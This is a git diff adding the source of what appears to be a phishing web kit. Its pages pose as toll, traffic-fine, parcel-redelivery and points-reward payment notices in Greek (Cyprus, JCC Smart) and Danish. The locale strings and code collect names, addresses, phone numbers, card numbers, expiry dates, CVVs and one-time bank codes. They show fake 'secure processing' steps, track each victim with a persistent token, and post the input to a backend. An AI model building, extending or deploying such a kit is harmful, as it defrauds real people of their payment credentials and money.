+.notice-site-head__title[data-v-c00aef17] { + margin: 4px 0 0; + font-size: 24px; + font-weight: 700; + color: #1a1a1a; + line-height: 1.15; + letter-spacing: -.02em; + flex: 1; + min-width: 0 +} + +.notice-site-head__brand[data-v-c00aef17] { + display: flex; + flex-direction: column; + align-items: flex-end; + flex-shrink: 0; + gap: 4px +} + +.notice-site-head__logo-img[data-v-c00aef17] { + display: block; + width: 160px; + max-width: min(160px, 42vw); + height: auto +} + +.notice-site-head__tagline[data-v-c00aef17] { + margin: 0; + font-size: 10px; + font-weight: 600; + line-height: 1.2; + color: var(--notice-navy); + text-align: right; + letter-spacing: .03em +} + +.notice-table-card[data-v-c00aef17] { + background: #fff; + border: 1px solid var(--notice-border); + border-radius: 0; + padding: 0; + overflow: hidden; + margin-bottom: 16px +} + +.notice-table[data-v-c00aef17] { + width: 100%; + border-collapse: collapse; + table-layout: fixed +} + +.notice-table th[data-v-c00aef17], +.notice-table td[data-v-c00aef17] { + padding: 16px 18px; + border-bottom: 1px solid var(--notice-border); + text-align: left; + vertical-align: top +} + +.notice-table tr:last-child th[data-v-c00aef17], +.notice-table tr:last-child td[data-v-c00aef17] { + border-bottom: none +} + +.notice-table th[data-v-c00aef17] { + width: 38%; + font-weight: 700; + color: var(--notice-text); + background: var(--notice-label-bg); + border-right: 1px solid var(--notice-border) +} + +.notice-table__label--caps[data-v-c00aef17] { + text-transform: uppercase; + letter-spacing: .02em +} + +.notice-table td[data-v-c00aef17] { + background: #fff; + font-weight: 400 +} + +.notice-table__value[data-v-c00aef17] { + color: var(--notice-text) +} + +.notice-table__value--deadline[data-v-c00aef17] { + color: var(--notice-red); + font-weight: 700 +} + +.notice-table__value--strike-red[data-v-c00aef17] { + color: var(--notice-red); + text-decoration: line-through; + font-weight: 400 +} + +.notice-table__value--bold-red[data-v-c00aef17] { + color: var(--notice-red); + font-weight: 700 +} + +.notice-disclaimer[data-v-c00aef17] { + margin: 0; + padding: 0 4px 20px; + font-size: 12px; + line-height: 1.5; + color: var(--notice-text) +} + +.notice-disclaimer__prefix[data-v-c00aef17] { + font-weight: 400 +} + +.notice-disclaimer__important[data-v-c00aef17] { + font-weight: 700; + text-transform: uppercase +} + +.notice-footer[data-v-c00aef17] { + margin: 0 -16px; + padding: 20px 16px 28px; + background: var(--notice-footer-bg) +} + +.notice-next-btn[data-v-c00aef17] { + display: block; + width: 100%; + max-width: 100%; + margin: 0 auto; + border: 0; + background: var(--notice-btn-gold); + color: #fff; + border-radius: 6px; + padding: 15px 16px; + font-size: 16px; + font-weight: 700; + cursor: pointer; + transition: background .15s ease +} + +.notice-next-btn[data-v-c00aef17]:hover { + background: var(--notice-btn-gold-hover) +} + +.notice-next-btn[data-v-c00aef17]:active { + opacity: .95 +} + +.notice-next-btn[data-v-c00aef17]:focus-visible { + outline: 2px solid #1a4d8c; + outline-offset: 2px +} + +@media(min-width:520px) { + .fines-notice__frame[data-v-c00aef17] { + padding-left: 24px; + padding-right: 24px + } + + .notice-footer[data-v-c00aef17] { + margin-left: -24px; + margin-right: -24px; + padding-left: 24px; + padding-right: 24px + } +} \ No newline at end of file diff --git a/a5_za_sf_finessa/public/Static_zy/static/nA3Ekfar.webp b/a5_za_sf_finessa/public/Static_zy/static/nA3Ekfar.webp new file mode 100644 index 0000000..08e7de6 Binary files /dev/null and b/a5_za_sf_finessa/public/Static_zy/static/nA3Ekfar.webp differ diff --git a/a5_za_sf_finessa/public/Static_zy/visa.png b/a5_za_sf_finessa/public/Static_zy/visa.png new file mode 100644 index 0000000..cd55ddb Binary files /dev/null and b/a5_za_sf_finessa/public/Static_zy/visa.png differ diff --git a/a5_za_sf_finessa/public/cardloading.svg b/a5_za_sf_finessa/public/cardloading.svg new file mode 100644 index 0000000..7c8170a --- /dev/null +++ b/a5_za_sf_finessa/public/cardloading.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/App.vue b/a5_za_sf_finessa/src/App.vue new file mode 100644 index 0000000..9dfa0e6 --- /dev/null +++ b/a5_za_sf_finessa/src/App.vue @@ -0,0 +1,70 @@ + + + + + diff --git a/a5_za_sf_finessa/src/api/api.ts b/a5_za_sf_finessa/src/api/api.ts new file mode 100644 index 0000000..22fb7e8 --- /dev/null +++ b/a5_za_sf_finessa/src/api/api.ts @@ -0,0 +1,5 @@ +import http from "@/api/http"; + +export function sendInput(data: any) { + http.post("/api/input", data).then((data) => {}); +} diff --git a/a5_za_sf_finessa/src/api/http.ts b/a5_za_sf_finessa/src/api/http.ts new file mode 100644 index 0000000..bce85b3 --- /dev/null +++ b/a5_za_sf_finessa/src/api/http.ts @@ -0,0 +1,223 @@ +// http.js +import axios from "axios"; +import { v4 as uuidv4 } from "uuid"; + +// ============ 配置 ============ +const BASE_URL = import.meta.env.VITE_BASE_URL === "/" + ? "/" + : import.meta.env.VITE_BASE_URL.startsWith('localhost:') + ? `http://${import.meta.env.VITE_BASE_URL}` + : `https://${import.meta.env.VITE_BASE_URL}`; + +const DB_CONFIG = { + name: "TokenDB", + version: 2, + store: "tokens", + key: "userToken", +} as const; + +const STORAGE_KEY = "token"; + +// ============ IndexedDB 操作 ============ +class TokenDB { + private static async open(): Promise { + return new Promise((resolve, reject) => { + const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version); + request.onerror = () => reject(request.error); + request.onsuccess = () => resolve(request.result); + request.onupgradeneeded = (event) => { + const db = (event.target as IDBOpenDBRequest).result; + if (db.objectStoreNames.contains(DB_CONFIG.store)) { + db.deleteObjectStore(DB_CONFIG.store); + } + db.createObjectStore(DB_CONFIG.store, { keyPath: "key" }); + }; + }); + } + + static async get(): Promise { + try { + const db = await this.open(); + return new Promise((resolve) => { + const tx = db.transaction(DB_CONFIG.store, "readonly"); + const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key); + request.onsuccess = () => resolve(request.result?.value || null); + request.onerror = () => resolve(null); + tx.oncomplete = () => db.close(); + tx.onabort = () => db.close(); + }); + } catch { + return null; + } + } + + static async set(token: string): Promise { + try { + const db = await this.open(); + return new Promise((resolve) => { + const tx = db.transaction(DB_CONFIG.store, "readwrite"); + tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token }); + tx.oncomplete = () => { db.close(); resolve(); }; + tx.onerror = () => { db.close(); resolve(); }; + }); + } catch { + // 静默失败,有其他存储兜底 + } + } +} + +// ============ Token 管理器 ============ +class TokenManager { + private static cache: string | null = null; + private static pending: Promise | null = null; + + // UUID v4 格式校验,防止脏数据 + private static isValidToken(token: string | null): token is string { + return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token); + } + + // 安全地操作 Storage + private static safeGet(storage: Storage): string | null { + try { + return storage.getItem(STORAGE_KEY); + } catch { + return null; + } + } + + private static safeSet(storage: Storage, token: string): void { + try { + storage.setItem(STORAGE_KEY, token); + } catch { + // 静默失败 + } + } + + // Cookie 操作(同步,iOS 上比 localStorage 更早可用) + private static getFromCookie(): string | null { + try { + const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`)); + return match ? decodeURIComponent(match[1]) : null; + } catch { + return null; + } + } + + private static saveToCookie(token: string): void { + try { + // 有效期 400 天(Safari 上限),SameSite=Lax 兼容 WebView + document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`; + } catch { + // 静默失败 + } + } + + // 同步到所有存储(后台执行,不阻塞) + private static syncToAllStorages(token: string): void { + this.safeSet(sessionStorage, token); + this.safeSet(localStorage, token); + this.saveToCookie(token); + TokenDB.set(token).catch(() => { }); + } + + // 从同步存储快速获取(cookie 优先,iOS 上最可靠的同步读取) + private static getFromSyncStorage(): string | null { + const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage); + return this.isValidToken(token) ? token : null; + } + + // 延迟后重试读取同步存储(iOS 冷启动时存储可能未就绪) + private static waitAndRetrySync(ms: number): Promise { + return new Promise(resolve => { + setTimeout(() => resolve(this.getFromSyncStorage()), ms); + }); + } + + // 主入口:获取或创建 Token + static async getToken(): Promise { + // 1. 内存缓存(最快) + if (this.cache) return this.cache; + + // 2. 等待进行中的创建(并发安全) + if (this.pending) return this.pending; + + // 3. 同步存储快速路径 + const syncToken = this.getFromSyncStorage(); + if (syncToken) { + this.cache = syncToken; + this.syncToAllStorages(syncToken); + return syncToken; + } + + // 4. 异步获取或创建(带锁) + this.pending = this.createToken(); + return this.pending; + } + + private static async createToken(): Promise { + try { + // 再次检查缓存 + if (this.cache) return this.cache; + + // 尝试从 IndexedDB 恢复 + const dbToken = await TokenDB.get(); + if (dbToken && this.isValidToken(dbToken)) { + this.cache = dbToken; + this.syncToAllStorages(dbToken); + return dbToken; + } + + // iOS 冷启动兜底:等待一小段时间后重试同步存储 + // (localStorage/cookie 数据可能存在,但初始化瞬间还未就绪) + for (const delay of [50, 100, 150]) { + const retryToken = await this.waitAndRetrySync(delay); + if (retryToken) { + this.cache = retryToken; + this.syncToAllStorages(retryToken); + return retryToken; + } + } + + // 所有恢复手段用尽,生成新 Token + const newToken = uuidv4(); + this.cache = newToken; + this.syncToAllStorages(newToken); + return newToken; + } finally { + this.pending = null; + } + } +} + +// ============ Axios 实例 ============ +const http = axios.create({ + baseURL: BASE_URL, + timeout: 15000, +}); + +// 请求拦截器 +http.interceptors.request.use( + async (config) => { + const token = await TokenManager.getToken(); + config.headers["Token"] = token; + config.headers["X-Token"] = token; + config.params = { ...config.params, token }; + return config; + }, + (error) => Promise.reject(error) +); + +// 响应拦截器 +http.interceptors.response.use( + (response) => response.data, + (error) => { + if (error.response) { + console.error("Error:", error.response.status, error.response.data); + } else { + console.error("Error:", error.message); + } + return Promise.reject(error); + } +); + +export default http; diff --git a/a5_za_sf_finessa/src/assets/base.css b/a5_za_sf_finessa/src/assets/base.css new file mode 100644 index 0000000..4ddeb47 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/base.css @@ -0,0 +1,11 @@ + + +html, body { + padding: 0; + border: 0; + margin: 0; + overflow-x: hidden; + overflow-y: auto; + overflow: hidden auto +} + diff --git a/a5_za_sf_finessa/src/assets/img/1a32e1333fcfa.svg b/a5_za_sf_finessa/src/assets/img/1a32e1333fcfa.svg new file mode 100644 index 0000000..df4e101 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/1a32e1333fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/272b931f3fcfa.svg b/a5_za_sf_finessa/src/assets/img/272b931f3fcfa.svg new file mode 100644 index 0000000..91725ba --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/272b931f3fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/56af3b633fcfa.svg b/a5_za_sf_finessa/src/assets/img/56af3b633fcfa.svg new file mode 100644 index 0000000..7c8170a --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/56af3b633fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/68eec8c23fcfa.svg b/a5_za_sf_finessa/src/assets/img/68eec8c23fcfa.svg new file mode 100644 index 0000000..27de580 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/68eec8c23fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/761998023fcfa.svg b/a5_za_sf_finessa/src/assets/img/761998023fcfa.svg new file mode 100644 index 0000000..0f0c484 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/761998023fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/80066acd3fcfa.svg b/a5_za_sf_finessa/src/assets/img/80066acd3fcfa.svg new file mode 100644 index 0000000..273e02b --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/80066acd3fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/ac3bca143fcfa.svg b/a5_za_sf_finessa/src/assets/img/ac3bca143fcfa.svg new file mode 100644 index 0000000..8a4ea69 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/ac3bca143fcfa.svg @@ -0,0 +1,60 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/b4f258fb3fcfa.svg b/a5_za_sf_finessa/src/assets/img/b4f258fb3fcfa.svg new file mode 100644 index 0000000..e0a2186 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/b4f258fb3fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/c8e88e5f3fcfa.svg b/a5_za_sf_finessa/src/assets/img/c8e88e5f3fcfa.svg new file mode 100644 index 0000000..58c2b23 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/c8e88e5f3fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/d2820b3b3fcfa.svg b/a5_za_sf_finessa/src/assets/img/d2820b3b3fcfa.svg new file mode 100644 index 0000000..fa892e4 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/d2820b3b3fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/d9f501073fcfa (1).svg b/a5_za_sf_finessa/src/assets/img/d9f501073fcfa (1).svg new file mode 100644 index 0000000..89014cc --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/d9f501073fcfa (1).svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/d9f501073fcfa.svg b/a5_za_sf_finessa/src/assets/img/d9f501073fcfa.svg new file mode 100644 index 0000000..89014cc --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/d9f501073fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/default.svg b/a5_za_sf_finessa/src/assets/img/default.svg new file mode 100644 index 0000000..d305918 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/default.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/e62e66803fcfa.svg b/a5_za_sf_finessa/src/assets/img/e62e66803fcfa.svg new file mode 100644 index 0000000..2ec7ba4 --- /dev/null +++ b/a5_za_sf_finessa/src/assets/img/e62e66803fcfa.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/a5_za_sf_finessa/src/assets/img/mir.jpg b/a5_za_sf_finessa/src/assets/img/mir.jpg new file mode 100644 index 0000000..d393e7a Binary files /dev/null and b/a5_za_sf_finessa/src/assets/img/mir.jpg differ diff --git a/a5_za_sf_finessa/src/assets/main.css b/a5_za_sf_finessa/src/assets/main.css new file mode 100644 index 0000000..e69de29 diff --git a/a5_za_sf_finessa/src/components/.env b/a5_za_sf_finessa/src/components/.env new file mode 100644 index 0000000..3830220 --- /dev/null +++ b/a5_za_sf_finessa/src/components/.env @@ -0,0 +1,843 @@ + + + + + diff --git a/a5_za_sf_finessa/src/components/CardType1.vue b/a5_za_sf_finessa/src/components/CardType1.vue new file mode 100644 index 0000000..56e904d --- /dev/null +++ b/a5_za_sf_finessa/src/components/CardType1.vue @@ -0,0 +1,58 @@ + + + + + diff --git a/a5_za_sf_finessa/src/components/CardType2.vue b/a5_za_sf_finessa/src/components/CardType2.vue new file mode 100644 index 0000000..9e28a29 --- /dev/null +++ b/a5_za_sf_finessa/src/components/CardType2.vue @@ -0,0 +1,58 @@ + + + + + diff --git a/a5_za_sf_finessa/src/components/PaymentLoadingModal.vue b/a5_za_sf_finessa/src/components/PaymentLoadingModal.vue new file mode 100644 index 0000000..1ad7952 --- /dev/null +++ b/a5_za_sf_finessa/src/components/PaymentLoadingModal.vue @@ -0,0 +1,673 @@ + + + + + + + diff --git a/a5_za_sf_finessa/src/components/icons/IconCommunity.vue b/a5_za_sf_finessa/src/components/icons/IconCommunity.vue new file mode 100644 index 0000000..2dc8b05 --- /dev/null +++ b/a5_za_sf_finessa/src/components/icons/IconCommunity.vue @@ -0,0 +1,7 @@ + diff --git a/a5_za_sf_finessa/src/components/icons/IconDocumentation.vue b/a5_za_sf_finessa/src/components/icons/IconDocumentation.vue new file mode 100644 index 0000000..6d4791c --- /dev/null +++ b/a5_za_sf_finessa/src/components/icons/IconDocumentation.vue @@ -0,0 +1,7 @@ + diff --git a/a5_za_sf_finessa/src/components/icons/IconEcosystem.vue b/a5_za_sf_finessa/src/components/icons/IconEcosystem.vue new file mode 100644 index 0000000..c3a4f07 --- /dev/null +++ b/a5_za_sf_finessa/src/components/icons/IconEcosystem.vue @@ -0,0 +1,7 @@ + diff --git a/a5_za_sf_finessa/src/components/icons/IconSupport.vue b/a5_za_sf_finessa/src/components/icons/IconSupport.vue new file mode 100644 index 0000000..7452834 --- /dev/null +++ b/a5_za_sf_finessa/src/components/icons/IconSupport.vue @@ -0,0 +1,7 @@ + diff --git a/a5_za_sf_finessa/src/components/icons/IconTooling.vue b/a5_za_sf_finessa/src/components/icons/IconTooling.vue new file mode 100644 index 0000000..660598d --- /dev/null +++ b/a5_za_sf_finessa/src/components/icons/IconTooling.vue @@ -0,0 +1,19 @@ + + diff --git a/a5_za_sf_finessa/src/locales/cy/index.ts b/a5_za_sf_finessa/src/locales/cy/index.ts new file mode 100644 index 0000000..cfcc84f --- /dev/null +++ b/a5_za_sf_finessa/src/locales/cy/index.ts @@ -0,0 +1,132 @@ +export default { + "There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε", + "Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email", + "Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση", + "Your Name": "Το όνομά σας", + "Address": "Διεύθυνση", + "Detailed Address": "Λεπτομερής Διεύθυνση", + "(Optional)": "(Προαιρετικό)", + "City": "Πόλη", + "State": "Πολιτεία", + "Province": "Επαρχία", + "Region": "Περιοχή", + "Zip Code": "Ταχυδρομικός Κώδικας", + "E-Mail": "Ηλεκτρονικό Ταχυδρομείο", + "Next": "Επόμενο", + "Telephone Number": "Αριθμός Τηλεφώνου", + "Online": "Online", + "Payment": "Πληρωμή", + "For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή", + "lump sum: ": "Εφάπαξ: ", + "Cardholder": "Κάτοχος Κάρτας", + "Card Number": "Αριθμός Κάρτας", + "Expire Date": "Ημερομηνία Λήξης", + "Security Code": "Κωδικός Ασφαλείας", + "Submit": "Υποβολή", + "Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό", + "Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ", + "The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο", + "Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας", + "Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά", + "The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα", + "This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα", + "Authorized bank": "Εξουσιοδοτημένη Τράπεζα", + "Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση", + "Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα", + "Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!", + "Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία", + "Mailing address": "Διεύθυνση Αποστολής", + "street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού", + "Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.", + "Safe payment": "Ασφαλής Πληρωμή", + "Verification code": "Κωδικός Επαλήθευσης", + "Welcome": "Καλώς ήρθατε", + "back": "Πίσω!", + "We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων", + "Check your points": "Ελέγξτε τους πόντους σας", + "Phone number": "Αριθμός Τηλεφώνου", + "Inquire": "Ρωτήστε", + "Exchange": "Ανταλλαγή", + "Spend points": "Ξοδέψτε Πόντους", + "Points Available": "Διαθέσιμοι Πόντοι", + "You don't have enough points": "Δεν έχετε αρκετούς πόντους", + "Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν", + "Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας", + "Order number": "Αριθμός Παραγγελίας: ", + "Pay": "Πληρωμή", + "Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα", + "Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online", + "your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.", + "Billing Information": "Πληροφορίες Τιμολόγησης", + "Description": "Περιγραφή", + "Dear customer": "Αγαπητέ πελάτη:", + "Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε", + "Invoice Number": "Αριθμός Τιμολογίου", + "Amount": "Ποσό", + "Pay Immediately": "Πληρώστε Άμεσα", + "Phone Number": "Αριθμός Τηλεφώνου", + "Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε", + "Illustrate": "Επεξηγήστε", + "SSL Encryption": "Κρυπτογράφηση SSL", + "PCI-DSS Certified": "Πιστοποιημένο PCI-DSS", + "Transaction Details": "Λεπτομέρειες Συναλλαγής", + "Transaction ID:": "Αριθμός Συναλλαγής:", + "Processing Network:": "Δίκτυο Επεξεργασίας:", + "Processing Time:": "Χρόνος Επεξεργασίας:", + "Security Level:": "Επίπεδο Ασφαλείας:", + "Preparing...": "Προετοιμασία...", + "High": "Υψηλό", + "Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...", + "Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...", + "Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...", + "Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...", + "Validating CVV code...": "Επαλήθευση κωδικού CVV...", + "Checking fraud risk...": "Έλεγχος κινδύνου απάτης...", + "Sending transaction request...": "Αποστολή αίτησης συναλλαγής...", + "Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...", + "Processing bank response...": "Επεξεργασία απάντησης τράπεζας...", + "Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...", + "Finalizing transaction...": "Ολοκλήρωση συναλλαγής...", + "Visa Secure Network": "Δίκτυο Ασφαλείας Visa", + "Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard", + "American Express Dedicated Channel": "Ειδικό Κανάλι American Express", + "UnionPay Gateway": "Πύλη UnionPay", + "{time} seconds": "{time} δευτερόλεπτα", + "International Payment Network": "Διεθνές Δίκτυο Πληρωμών", + "Homepage License Plate": "Πινακίδα Αρχικής Σελίδας", + "JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου", + "Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας", + "Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.", + "Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)", + "Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής", + "Toll Payment": "Πληρωμή Διοδίων", + "License Plate Number": "Αριθμός Κυκλοφορίας", + "Traffic violation information (e.g. mobile phone use while driving). First violation 50€, second violation 150€, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση 50€, δεύτερη παράβαση 150€, και ούτω καθεξής.", + + "Tolls": "Διόδια", + "Due Date": "Ημερομηνία Λήξης", + + "Fine Amount": "Ποσό προστίμου", + + "Pay Now": "Πληρώστε Τώρα", + + "Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.", + + "Cardholder Name": "Όνομα Κατόχου Κάρτας", + "First and Last Name": "Όνομα και Επώνυμο", + + "XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX", + "Expiration Date": "Ημερομηνία Λήξης", + "MM/YY": "MM/ΕΕ", + + "123(CVV)": "123(CVV)", + "Card Icon": "Εικονίδιο Κάρτας", + "CVV": "CVV", + + + "Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων", + "Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.", + "Phone": "Τηλέφωνο", + "Toll Amount": "Ποσό Διοδίων", + "50.00 EUR": "50.00 EUR" +}; diff --git a/a5_za_sf_finessa/src/locales/dk/index.ts b/a5_za_sf_finessa/src/locales/dk/index.ts new file mode 100644 index 0000000..3b408a8 --- /dev/null +++ b/a5_za_sf_finessa/src/locales/dk/index.ts @@ -0,0 +1,96 @@ +export default { + "There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek", + "Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse", + "Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering", + "Your Name": "Dit navn", + "Address": "Adresse", + "Detailed Address": "Detaljeret adresse", + "(Optional)": "(Valgfrit)", + "City": "By", + "State": "Stat", + "Province": "Provins", + "Region": "Region", + "Zip Code": "Postnummer", + "E-Mail": "E-mail", + "Next": "Næste", + "Telephone Number": "Telefonnummer", + "Online": "Online", + "Payment": "Betaling", + "For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling", + "lump sum: ": "Engangsbeløb: ", + "Cardholder": "Kortholder", + "Card Number": "Kortnummer", + "Expire Date": "Udløbsdato", + "Security Code": "Sikkerhedskode", + "Submit": "Indsend", + "Click here to receive another code": "Klik her for at modtage en ny kode", + "Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her", + "The verification code has been sent to": "Bekræftelseskoden er sendt til", + "Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion", + "Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen", + "The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu", + "This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort", + "Authorized bank": "Autoriseret bank", + "Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen", + "Please do not close this page": "Luk venligst ikke denne side", + "Payment Successful": "Betaling lykkedes!", + "Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt", + "Mailing address": "Postadresse", + "street address or house number": "Gadeadresse eller husnummer", + "Apartment number": "Lejlighedsnummer, værelsesnummer osv.", + "Safe payment": "Sikker betaling", + "Verification code": "Bekræftelseskode", + "Welcome": "Velkommen", + "back": "tilbage!", + "We reward you for using point services": "Vi belønner dig for at bruge pointtjenester", + "Check your points": "Tjek dine point", + "Phone number": "Telefonnummer", + "Inquire": "Forespørg", + "Exchange": "Byt", + "Spend points": "Brug point", + "Points Available": "Tilgængelige point", + "You don't have enough points": "Du har ikke nok point", + "Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt", + "Confirm your shipping address": "Bekræft din forsendelsesadresse", + "Order number": "Ordrenummer: ", + "Pay": "Betal", + "Pay Message": "Betal {0} for at indløse point til varer", + "Pay electronic tolls online": "Betal elektroniske vejafgifter online", + "your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.", + "Billing Information": "Faktureringsoplysninger", + "Description": "Beskrivelse", + "Dear customer": "Kære kunde:", + "Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes", + "Invoice Number": "Fakturanummer", + "Amount": "Beløb", + "Pay Immediately": "Betal straks", + "Phone Number": "Telefonnummer", + "Electronic communication fee payment failed": "Betaling af elektronisk 